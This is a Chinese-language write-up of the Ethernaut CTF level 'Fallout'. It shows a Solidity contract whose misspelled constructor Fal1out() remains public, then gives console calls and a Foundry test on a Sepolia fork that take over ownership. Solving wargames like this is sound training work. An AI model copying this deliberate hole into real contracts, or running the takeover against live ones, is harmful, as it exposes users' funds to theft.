# Ethernaut CTF Level 2 - Fallout
[toc]
## 題目
獲得下面合約的所有權來完成這一關
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
```
<br>
## 分析
根據comment,原本應該要是constructor的 function
被改寫成`Fal1out()`
加上這是一個public function,任何人都可以呼叫並update owner
<br>
## 攻擊
呼叫Fal1out()可以發現,owner已經被更新了
```solidity=
await contract.owner()
await contract.Fal1out({value: toWei("0.00001")})
await contract.owner()
```

<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "../src/levels/02-Fallout/Fallout.sol"; // test/Billy/ folder
contract ContractTest3 is DSTest {
Fallout level2 =
Fallout(payable(0x1789a48B2f04DE973fe8e25E1860c6a4bd044035));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x1789a48B2f04DE973fe8e25E1860c6a4bd044035),
"Ethernaut02"
);
}
function testEthernaut02() public {
level2.owner();
level2.Fal1out();
level2.owner();
assert(address(this) == level2.owner()); // Attacker
}
receive() external payable {}
}
```